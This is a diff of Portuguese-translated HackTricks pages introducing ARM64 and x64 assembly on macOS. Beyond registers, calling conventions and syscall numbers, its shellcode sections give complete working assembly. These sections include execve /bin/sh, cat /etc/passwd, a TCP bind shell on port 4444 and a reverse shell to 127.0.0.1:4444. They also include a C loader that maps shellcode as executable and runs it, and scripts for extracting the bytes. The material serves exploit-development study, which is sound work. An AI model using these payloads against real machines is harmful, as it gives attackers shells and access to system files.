- Bits de Máscara de Modo e Exceção (0-4): Determinam o estado de execução atual. O quinto indica se o programa é executado como 32 bits (um 1) ou 64 bits (um 0). Os outros 4 representam o **modo de exceção atualmente em uso** (quando ocorre uma exceção e está sendo tratada). O número definido **indica a prioridade atual** no caso de outra exceção ser acionada enquanto esta está sendo tratada.
- Bits de Máscara de Modo e Exceção (0-4): Determinam o estado de execução atual. O quinto indica se o programa é executado como 32 bits (um 1) ou 64 bits (um 0). Os outros 4 representam o **modo de exceção atualmente em uso** (quando ocorre uma exceção e está sendo tratada). O conjunto de números **indica a prioridade atual** no caso de outra exceção ser acionada enquanto esta está sendo tratada.
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
@ -337,6 +337,8 @@ Confira [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3
Confira em [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) a `mach_trap_table` e em [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) os protótipos. O número máximo de armadilhas Mach é `MACH_TRAP_TABLE_COUNT` = 128. As armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **sinal de menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**.
Você também pode verificar **`libsystem_kernel.dylib`** em um desmontador para descobrir como chamar essas chamadas de sistema (e BSD):
{% code overflow="wrap" %}
```bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -356,7 +358,7 @@ O XNU suporta outro tipo de chamadas chamadas dependentes da máquina. O número
### página comm
Esta é uma página de memória do proprietário do kernel que é mapeada no espaço de endereço de todos os processos de usuários. Destina-se a tornar a transição do modo de usuário para o espaço do kernel mais rápida do que usar chamadas de sistema para serviços do kernel que são usados com tanta frequência que essa transição seria muito ineficiente.
Esta é uma página de memória proprietária do kernel que é mapeada no espaço de endereço de todos os processos de usuários. Ela é destinada a tornar a transição do modo de usuário para o espaço do kernel mais rápida do que usar chamadas de sistema para serviços do kernel que são usados com tanta frequência que essa transição seria muito ineficiente.
Por exemplo, a chamada `gettimeofdate` lê o valor de `timeval` diretamente da página comm.
@ -387,7 +389,7 @@ Portanto, se você colocar um breakpoint antes do branch para esta função, voc
whoami
)
```
### Shellcodes
### Códigos Shell
Para compilar:
```bash
@ -399,11 +401,18 @@ ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
Para extrair os bytes:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
```
Para macOS mais recentes:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
```
<details>
<summary>Código C para testar o shellcode</summary>
@ -523,6 +532,9 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
sh_path: .asciz "/bin/sh"
```
{% endtab %}
{% endtabs %}
#### Ler com cat
O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (o que na memória significa uma pilha de endereços).
@ -595,9 +607,9 @@ sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
#### Shell de ligação
#### Shell de Conexão
Shell de ligação em [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **porta 4444**
Shell de conexão em [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **porta 4444**
```armasm
.section __TEXT,__text
.global _main
@ -755,7 +767,7 @@ svc #0x1337
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.

View file

@ -1,4 +1,4 @@
# Introduction to x64
# Introdução ao x64
<details>
@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -38,7 +38,7 @@ A convenção de chamada x64 varia entre sistemas operacionais. Por exemplo:
* **Windows**: Os primeiros **quatro parâmetros** são passados nos registradores **`rcx`**, **`rdx`**, **`r8`** e **`r9`**. Parâmetros adicionais são empurrados para a pilha. O valor de retorno está em **`rax`**.
* **System V (comumente usado em sistemas semelhantes ao UNIX)**: Os primeiros **seis parâmetros inteiros ou de ponteiro** são passados nos registradores **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** e **`r9`**. O valor de retorno também está em **`rax`**.
Se a função tiver mais de seis entradas, o **restante será passado na pilha**. O **RSP**, o ponteiro de pilha, deve estar **alinhado em 16 bytes**, o que significa que o endereço para o qual ele aponta deve ser divisível por 16 antes de qualquer chamada acontecer. Isso significa que normalmente precisaríamos garantir que o RSP esteja devidamente alinhado em nosso shellcode antes de fazer uma chamada de função. No entanto, na prática, as chamadas de sistema funcionam muitas vezes mesmo se esse requisito não for atendido.
Se a função tiver mais de seis entradas, o **restante será passado na pilha**. O **RSP**, o ponteiro de pilha, deve estar **alinhado em 16 bytes**, o que significa que o endereço para o qual ele aponta deve ser divisível por 16 antes de qualquer chamada acontecer. Isso significa que normalmente precisaríamos garantir que o RSP esteja devidamente alinhado em nosso shellcode antes de fazermos uma chamada de função. No entanto, na prática, as chamadas de sistema funcionam muitas vezes mesmo se esse requisito não for atendido.
### Convenção de Chamada em Swift
@ -46,43 +46,41 @@ Swift tem sua própria **convenção de chamada** que pode ser encontrada em [**
### **Instruções Comuns**
As instruções x64 possuem um conjunto rico, mantendo a compatibilidade com instruções x86 anteriores e introduzindo novas.
As instruções x64 possuem um conjunto rico, mantendo compatibilidade com instruções x86 anteriores e introduzindo novas.
* **`mov`**: **Move** um valor de um **registrador** ou **local de memória** para outro.
* Exemplo: `mov rax, rbx` — Move o valor de `rbx` para `rax`.
* Exemplo: `mov rax, rbx` — Move o valor de `rbx` para `rax`.
* **`push`** e **`pop`**: Empurra ou retira valores da **pilha**.
* Exemplo: `push rax` — Empurra o valor em `rax` para a pilha.
* Exemplo: `pop rax` — Retira o valor do topo da pilha para `rax`.
* Exemplo: `push rax` — Empurra o valor em `rax` para a pilha.
* Exemplo: `pop rax` — Retira o valor do topo da pilha para `rax`.
* **`add`** e **`sub`**: Operações de **adição** e **subtração**.
* Exemplo: `add rax, rcx` — Adiciona os valores em `rax` e `rcx`, armazenando o resultado em `rax`.
* **`mul`** e **`div`**: Operações de **multiplicação** e **divisão**. Observação: essas têm comportamentos específicos em relação ao uso do operando.
* Exemplo: `add rax, rcx` — Adiciona os valores em `rax` e `rcx` armazenando o resultado em `rax`.
* **`mul`** e **`div`**: Operações de **multiplicação** e **divisão**. Observação: essas têm comportamentos específicos em relação ao uso de operandos.
* **`call`** e **`ret`**: Usados para **chamar** e **retornar de funções**.
* **`int`**: Usado para acionar uma **interrupção de software**. Por exemplo, `int 0x80` era usado para chamadas de sistema no Linux x86 de 32 bits.
* **`cmp`**: **Compara** dois valores e define as flags da CPU com base no resultado.
* Exemplo: `cmp rax, rdx` — Compara `rax` com `rdx`.
* Exemplo: `cmp rax, rdx` — Compara `rax` com `rdx`.
* **`je`, `jne`, `jl`, `jge`, ...**: Instruções de **salto condicional** que alteram o fluxo de controle com base nos resultados de um `cmp` ou teste anterior.
* Exemplo: Após uma instrução `cmp rax, rdx`, `je label` — Salta para `label` se `rax` for igual a `rdx`.
* Exemplo: Após uma instrução `cmp rax, rdx`, `je label` — Salta para `label` se `rax` for igual a `rdx`.
* **`syscall`**: Usado para **chamadas de sistema** em alguns sistemas x64 (como Unix modernos).
* **`sysenter`**: Uma instrução otimizada de **chamada de sistema** em algumas plataformas.
* **`sysenter`**: Uma instrução de **chamada de sistema** otimizada em algumas plataformas.
### **Prólogo da Função**
1. **Empurrar o ponteiro base antigo**: `push rbp` (salva o ponteiro base do chamador)
1. **Empurrar o antigo ponteiro base**: `push rbp` (salva o ponteiro base do chamador)
2. **Mover o ponteiro de pilha atual para o ponteiro base**: `mov rbp, rsp` (configura o novo ponteiro base para a função atual)
3. **Alocar espaço na pilha para variáveis locais**: `sub rsp, <tamanho>` (onde `<tamanho>` é o número de bytes necessário)
### **Epílogo da Função**
1. **Mover o ponteiro base atual para o ponteiro de pilha**: `mov rsp, rbp` (desalocar variáveis locais)
2. **Retirar o ponteiro base antigo da pilha**: `pop rbp` (restaura o ponteiro base do chamador)
2. **Retirar o antigo ponteiro base da pilha**: `pop rbp` (restaura o ponteiro base do chamador)
3. **Retornar**: `ret` (retorna o controle ao chamador)
## macOS
### Chamadas de sistema
### chamadas de sistema
Existem diferentes classes de chamadas de sistema, você pode [**encontrá-las aqui**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
@ -91,9 +89,7 @@ Existem diferentes classes de chamadas de sistema, você pode [**encontrá-las a
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
```
Em seguida, você pode encontrar o número de cada chamada de sistema [**neste URL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
Em seguida, você pode encontrar cada número de chamada do sistema [**neste URL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
@ -110,10 +106,9 @@ Em seguida, você pode encontrar o número de cada chamada de sistema [**neste U
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
```
Portanto, para chamar a chamada de sistema `open` (**5**) da classe **Unix/BSD**, você precisa adicionar: `0x2000000`
Portanto, o número da chamada de sistema para chamar o open seria `0x2000005`
Portanto, o número da chamada de sistema para chamar open seria `0x2000005`
### Shellcodes
@ -130,7 +125,7 @@ Para extrair os bytes:
{% code overflow="wrap" %}
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
@ -143,42 +138,59 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g'
<details>
<summary>Código C para testar o shellcode</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
int (*sc)();
int (\*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
char shellcode\[] = "";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
printf("\[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
sc = ptr; sc();
return 0; }
````
return 0;
}
```
</details>
#### Shell
Retirado [**aqui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e explicado.
<div data-gb-custom-block data-tag="tabs">
<div data-gb-custom-block data-tag="tab" data-title='com adr'>
Retirado da [**qui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e explicado.
{% tabs %}
{% tab title="com adr" %}
```armasm
bits 64
global _main
@ -192,8 +204,10 @@ push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
````
```
{% endtab %}
{% tab title="com pilha" %}
```armasm
bits 64
global _main
@ -209,11 +223,12 @@ pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% endtab %}
{% endtabs %}
**Ler com cat**
#### Ler com cat
O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (o que na memória significa uma pilha de endereços).
```armasm
bits 64
section .text
@ -244,9 +259,7 @@ section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
**Invocar comando com sh**
#### Invocar comando com sh
```armasm
bits 64
section .text
@ -284,11 +297,9 @@ sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### Shell de Conexão
**Shell de ligação**
Shell de ligação de [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) na **porta 4444**
Shell de conexão em [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) na **porta 4444**
```armasm
section .text
global _main
@ -363,11 +374,9 @@ mov rax, r8
mov al, 0x3b
syscall
```
#### Shell Reverso
**Shell Reverso**
Shell reverso em [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Shell reverso para **127.0.0.1:4444**
Shell reverso de [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Shell reverso para **127.0.0.1:4444**
```armasm
section .text
global _main
@ -429,7 +438,16 @@ mov rax, r8
mov al, 0x3b
syscall
```
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>